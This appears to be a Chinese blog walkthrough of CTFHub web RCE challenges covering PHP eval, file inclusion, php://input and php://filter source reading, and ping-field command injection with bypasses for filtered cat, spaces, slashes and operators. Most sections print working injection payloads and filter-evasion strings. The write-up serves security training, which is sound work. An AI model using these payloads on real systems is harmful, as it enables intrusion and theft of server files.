CTFHUB WEB RCE

先来了解一下rce命令

RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

rce有利用的函数也有命令执行绕过

下面来看题目

eval执行

看到题目是php代码审计

这里用到的requset函数

isset函数 是一个变量函数 用于检测变量是否已设置并且非 NULL。 如果已经使用 unset () 释放了一个变量之后,再通过 isset () 判断将返回 FALSE。 若使用 isset () 测试一个被设置成 NULL 的变量,将返回 FALSE。

 highlight_file() 函数 对文件进行语法高亮显示

eval函数 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

简单了解了这几个函数 下面来审计一下代码 这里的命令执行都用的linux系统的命令 是因为php执行linux命令

很简单 就是要把命令赋值给cmd 然后才可以执行

先用 ?cmd=system('ls');看一下

再看一下根目录 ?cmd=system('ls /');

找到了flag文件 利用cat命令打开 ?cmd=system('cat /flag_27936');

这里有一点需要注意 就是flag文件前面要加上根目录 / 才可以

这里之所以用system 是因为system函数是一个外部命令执行函数

文件包含

 shell有一个超链接 打开看一看

 让我们传一个参数 ctfhub  原网页还有一个get传参 所以这题应该是get+post传参的 并且要赋值给ctfhub才可以执行命令 按他说的做一下

先get传参 ?file=shell.txt

在进行post传参 ctfhub=system('ls');

命令执行成功 老方法 看根目录找flag

php://input 

 先来了解一下

 所以php://input要用 post请求才可以

使用php://input的条件也满足

  接下来就是用bp抓包 然后执行命令

可以先抓一个get请求包 然后改成post请求包 把GET改成POST 在加Content-Type: application/x-www-form-urlencoded 就可以了 在body中添加ststem命令

发现命令执行成功  接下来就是一样的步骤 找源代码 找flag

这题值得注意的点就是php://input 的用法以及它的使用条件 php://input需要用post请求的方式

读取源代码

这道题需要我们读取源代码  

这里用php://input发现执行不了 就需要用到另外的一个伪协议 php://filter

先来认识一下它

使用的方法

php://filter/read=convert.base64-encode/recource=index.php;

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

以此类推 我们找这道题的payload就是 ?file=php://filter/read=convert.base64-encode/resource=../../../flag

这里面 ./ 代表的是当前目录 ../代表的是上一级目录,也就是父级目录 ../../表示源文件所在目录的上上级目录,以此类推

读出来的是base64编码 转化一下就可以拿到flag

远程包含

 发现php://input所需条件开启

所以这道题也可以用php://input进行命令执行

还是bp抓包 修改请求方式 加入Content-Type: application/x-www-form-urlencoded

在输入命令执行语句就可以

发现命令执行成功 找根目录下的flag

得到flag

 

命令注入 

 看提示

 

 

 看到题目 是ping ip 然后执行命令 这里就用到了linux命令里的链接符号

1.每个命令之间用 ; 隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

利用命令 127.0.0.1|ls 得到此页面

 

 访问php文件

发现没有成功 应该是文件中有特殊字符 用base64编码绕过一下

127.0.0.1|cat **.php|base64

拿到base64编码的flag

解码拿到flag

 

过滤cat 

这道题过滤了cat 就需要我们用其他的来绕过 进行命令执行

 过滤cat这样的字符 可以找其他的替换 也可以使用转义符 也可以内联执行绕过

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,可以查看
vim:一种编辑器,可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261  //报错出文件内容
 

也可以使用转义符

 ca\t /fl\ag
cat fl''ag

也可以内联拼接绕过

a=fl;b=ag.php;cat$IFS$a$b

开始命令执行

127.0.0.1 | ls

127.0.0.1 | ca\t *.php | base64

拿到flag

过滤空格

 这次过滤了空格  空格有很多种代替方式  ${IFS}    $IFS$9   <   <>   %20   $IFS   $IFS$1

$IFS在linux下表示分隔符  所以可以绕过

用127.0.0.1|ls 看文件

 

127.0.0.1|cat<flag_33622653931863.php|base64 用<代替空格 我尝试了其他的发现没用

解码 得到flag

过滤目录分隔符

 提示说这次过滤了目录分割符 /  127.0.0.1|ls

发现了存在flag的文件夹 尝试进入  127.0.0.1;cd flag_is_here;ls  这里用; 是因为;是一条接一条的命令执行 也就是说 先ping127.0.0.1 在执行cd ... 在执行ls

找到flag文件

cat命令 得到flag  127.0.0.1;cd **;cat *.php|base64

解码得到flag

过滤运算符

进入题目

 很明显过滤了管道符 那就可以用;来代替 |    **.php|base64 ==  base64 **.php

下面来执行命令

127.0.0.1;ls

127.0.0.1;base64 *.php

解码 得到flag

综合过滤练习

这道题同时过滤了前面几个小节的内容

 过滤了/(\||&|;| |\/|cat|flag|ctfhub

其中 cat 可用more代替  空格可以用${IFS} 代替 正则表达式主要是操作字符串的,实现数据的提取,查找和替换 flag可以用f***替换

| ;互替 %0a可以替换;但是要注意的一点就是 因为%0a是url编码 所以要在url中使用

127.0.0.1%0als 看一下文件

 ?ip=127.0.0.1%0Acd${IFS}f***_is_here%0als 看一下flag这个文件里用什么

 

?ip=127.0.0.1%0Acd${IFS}f***_is_here%0Abase64${IFS}f***_28916209724007.php 

用base64编码 显示flag

解码 得到flag

 完成所有题目

总结一下 rce命令绕过 用到的有 php外部命令执行函数 system

有php伪协议 php://input php://filter

其中php://input是用post传参的形式

php://filter是用来读取数据的

接下来就是命令执行绕过 cat 空格 管道符 各种的 都有很多绕过姿势 在网上都能搜索得到

over

 

 

 

 

 

 

 

  

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值